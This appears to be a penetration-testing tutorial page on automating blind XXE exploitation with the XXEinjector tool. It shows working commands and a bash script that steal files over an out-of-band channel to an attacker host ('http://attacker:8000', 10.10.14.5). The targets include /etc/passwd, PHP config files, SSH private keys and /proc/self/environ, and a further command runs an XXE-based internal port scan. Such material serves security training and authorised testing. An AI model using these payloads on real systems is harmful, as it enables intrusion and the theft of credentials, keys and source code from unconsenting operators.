Skip to content

Automation

For repeated file reads, blind exfil chains, or systematic exploitation of a confirmed XXE, XXEinjector automates the moving parts: hosting the DTD, running the OOB listener, encoding the file paths, decoding the results.

# 1. Capture the vulnerable request in Burp; save with XXEINJECT placeholder
cat > /tmp/xxe.req <<'EOF'
POST /blind/submitDetails.php HTTP/1.1
Host: target
Content-Type: text/plain;charset=UTF-8
XXEINJECT
EOF
# 2. Run XXEinjector with the desired path and mode
ruby XXEinjector.rb \
--host=10.10.14.5 --httpport=8000 \
--file=/tmp/xxe.req \
--path=/etc/passwd \
--oob=http --phpfilter
# 3. Output appears under Logs/<host>/
cat Logs/target/etc/passwd.log

Success indicator: the file appears under Logs/<target>/<filepath>.log ready for inspection.

ScenarioTool choice
One-off file read on a reflected XXEManual curl - faster than tooling setup
Reading a few specific files via reflected XXEManual Burp Repeater
Blind XXE that needs CDATA/error/OOB chainXXEinjector - automates the DTD hosting
Many files to extractXXEinjector with --enumports or --brute flags
Custom protocol probes (UNC, gopher)Manual - XXEinjector is HTTP/file focused
Probing internal hosts (SSRF)Manual or burp-driven; XXEinjector has limited SSRF support

For most engagements, the manual flow from File disclosure and Blind exfil covers everything. Automation pays off when the same chain repeats many times.

Terminal window
$ git clone https://github.com/enjoiz/XXEinjector.git
$ cd XXEinjector
$ ruby --version # needs Ruby 2.5+
ruby 3.0.2p107

No installation step; it’s a single Ruby script. Dependencies: nokogiri for some parsing, but the basic file-read flow doesn’t need it.

Terminal window
$ ruby XXEinjector.rb --help

XXEinjector takes a captured HTTP request as input. Capture from Burp:

  1. In Burp Proxy → HTTP history, find the XXE-vulnerable request
  2. Right-click → Copy to file → save as /tmp/xxe.req
  3. Edit to replace the entire XML body with the single word XXEINJECT

The result looks like:

POST /blind/submitDetails.php HTTP/1.1
Host: 10.10.10.42
User-Agent: Mozilla/5.0
Content-Type: text/plain;charset=UTF-8
Content-Length: 9
Connection: close
XXEINJECT

XXEinjector substitutes XXEINJECT with its generated XML payload. Content-Length is recalculated automatically.

HeaderWhy
Cookie:Session-bound XXE - the parser needs your session to reach the vulnerable endpoint
Content-Type:Must match what the endpoint expects (text/plain, application/xml, text/xml)
Authorization:Bearer-token-protected APIs
X-CSRF-Token:When CSRF protection is in place (note: this rotates per session, so single-shot only)
Referer:Sometimes required for the endpoint to process the request

If the session expires during a long enumeration run, XXEinjector won’t know - it’ll keep sending requests that return errors. Restart with a fresh cookie.

XXEinjector has several modes for different blind-XXE scenarios:

Terminal window
$ ruby XXEinjector.rb \
--file=/tmp/xxe.req \
--path=/etc/passwd

For when the response reflects entity content. XXEinjector substitutes the XML, parses the response, extracts the file content from the reflected location.

Terminal window
$ ruby XXEinjector.rb \
--host=10.10.14.5 --httpport=8000 \
--file=/tmp/xxe.req \
--path=/etc/passwd \
--oob=http

What it does:

  1. Hosts a generated DTD on --host:--httpport (it runs an embedded HTTP server)
  2. Sends the request with XXEINJECT replaced by an XML payload referencing the hosted DTD
  3. The target’s parser fetches the DTD, then makes an HTTP callback to XXEinjector with the file content
  4. XXEinjector logs the content under Logs/<host>/<filepath>.log

The --host argument is your VPN/listener IP - the address the target can reach you on.

Terminal window
$ ruby XXEinjector.rb \
--host=10.10.14.5 --httpport=8000 \
--file=/tmp/xxe.req \
--path=/var/www/html/index.php \
--oob=http --phpfilter

Wraps the file path in php://filter/convert.base64-encode/resource= automatically. The exfiltrated content is base64-encoded, which XXEinjector then decodes on its end before writing the log.

For PHP source-code extraction this is the default - non-base64 source code breaks the XML in the OOB callback URL.

Terminal window
$ ruby XXEinjector.rb \
--host=10.10.14.5 --httpport=8000 \
--file=/tmp/xxe.req \
--enumports=21,22,80,443,3306,5432,6379,8080,8443,9000,11211 \
--oob=http

Scans the listed ports via XXE-SSRF. The OOB callback content per port indicates open/closed. Slower than a normal nmap but works from the target’s network position.

For real engagement use this when you want internal-network port discovery without other footholds. With a foothold you have better options.

For XXE targets where the input vector is a file upload (SVG, DOCX, etc.) rather than a form POST:

Terminal window
$ ruby XXEinjector.rb \
--host=10.10.14.5 --httpport=8000 \
--upload=/tmp/payload.svg \
--path=/etc/passwd \
--oob=http

--upload specifies a template file (e.g., a valid SVG with XXEINJECT in place of the payload). XXEinjector substitutes and POSTs the file to the upload endpoint defined in the request file.

All exfiltrated data goes to Logs/<host>/<filepath>.log:

$ ls Logs/10.10.10.42/etc/
hostname.log
passwd.log
$ cat Logs/10.10.10.42/etc/passwd.log
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

When using --phpfilter, the log is the decoded file content - no manual base64 step needed.

For binary files (the rare case where XXE returns binary), check Logs/<host>/<filepath>.raw for the raw bytes vs .log for the decoded text.

XXEinjector couldn’t find XXEINJECT in the request file. Check:

  • The placeholder is literal XXEINJECT (not <XXEINJECT> or anything else)
  • The placeholder appears in the body, not in a header
  • The body isn’t being parsed as multipart (XXEinjector won’t substitute inside multipart parts cleanly)

The OOB chain isn’t reaching your listener. Diagnose:

Terminal window
# Run a raw HTTP listener on the same port
$ nc -nlvp 8000
# Trigger the XXE manually with an obvious payload
$ curl -X POST http://target/blind/submitDetails.php \
-H 'Content-Type: text/plain;charset=UTF-8' \
--data '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://YOUR-IP:8000/test">]><root>&xxe;</root>'

If GET /test arrives on nc, the OOB channel works - XXEinjector should work too. If not, the target’s parser isn’t reaching you (network issue or parser disables external entities).

Run XXEinjector with write access to the working directory, or use --logger to specify an alternate output path.

The OOB callback arrived but contained no usable file content. Possible causes:

  • File doesn’t exist on the target (path typo)
  • File exists but is permission-restricted (PHP-FPM user can’t read /etc/shadow)
  • Output too large; OOB URL was truncated by the target’s URL parser
  • --phpfilter is set but the target isn’t PHP

Cross-reference with the manual flow from Blind exfil to verify the chain works at all.

XXEinjector covers the common cases but has limits:

NeedTool
Multi-step exfil (read directory, then each file)Custom bash loop
Per-file post-processingCustom Python
Mixing XXE with other vulns (auth chain → XXE)Burp + custom script
Reading thousands of filesCustom - XXEinjector is single-threaded and slow at scale
WAF evasion (custom payload encoding)Manual / Burp

A minimal custom script template:

#!/bin/bash
# Mass file extraction via XXE OOB
FILES=(
/etc/passwd
/etc/hosts
/var/www/html/index.php
/var/www/html/config.php
/home/webapp/.ssh/id_rsa
/proc/self/environ
)
# Listener should already be running on $LISTEN
LISTEN='http://10.10.14.5:8000'
# Host the DTD template
cat > /tmp/xxe.dtd <<'EOF'
<!ENTITY % file SYSTEM "FILE_PLACEHOLDER">
<!ENTITY % oob "<!ENTITY exfil SYSTEM 'OOB_PLACEHOLDER'>">
%oob;
EOF
for f in "${FILES[@]}"; do
# Build per-file DTD
enc_path=$(printf '%s' "$f" | sed 's|/|\\/|g')
sed -e "s|FILE_PLACEHOLDER|php://filter/convert.base64-encode/resource=$f|" \
-e "s|OOB_PLACEHOLDER|$LISTEN/?c=%file;\&path=$(echo -n "$f" | base64 -w0)|" \
/tmp/xxe.dtd > /tmp/current.dtd
# Fire the XXE
curl -s -X POST http://target/blind/submitDetails.php \
-H 'Content-Type: text/plain;charset=UTF-8' \
--data "<?xml version='1.0'?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM 'http://attacker:8000/current.dtd'>%remote;]>
<root>&exfil;</root>"
sleep 1 # let the OOB callback arrive
done

Pair with a PHP receiver that decodes and writes to a per-file log (see Blind exfil for the receiver template).

ToolNotes
XXEinjectorThe canonical XXE automation tool covered above
Burp Pro’s “XXE” scannerBuilt into Burp Pro; finds reflected XXE but misses blind cases
OWASP ZAP active scanSimilar coverage to Burp
docemGenerates XXE-laden Office documents for upload-based XXE
oxml_xxeSame niche, focused on OOXML / ODF docs

For most non-document-format XXE, XXEinjector handles the automation needs. For document-format XXE (SVG, DOCX, XLSX uploads), the docem / oxml_xxe family is purpose-built.

TaskCommand
Clone XXEinjectorgit clone https://github.com/enjoiz/XXEinjector.git
Capture request to fileBurp → Copy to file; replace body with XXEINJECT
Basic reflected moderuby XXEinjector.rb --file=req --path=/etc/passwd
OOB HTTP mode--host=YOUR-IP --httpport=8000 --oob=http
OOB + base64 (PHP source)--oob=http --phpfilter
Port scan mode--enumports=21,22,80,...
Upload-based XXE--upload=template.svg
Output locationLogs/<target>/<path>.log
Test OOB connectivityManual XXE + nc -nlvp 8000
Generate Office XXE payloaddocem or oxml_xxe
Custom-script multiple filesBash for-loop + DTD-template substitution

For the end-to-end engagement chain that combines XXE with the IDOR and verb-tampering primitives from earlier in this round, see Skill assessment chain.

Defenses D3-IAA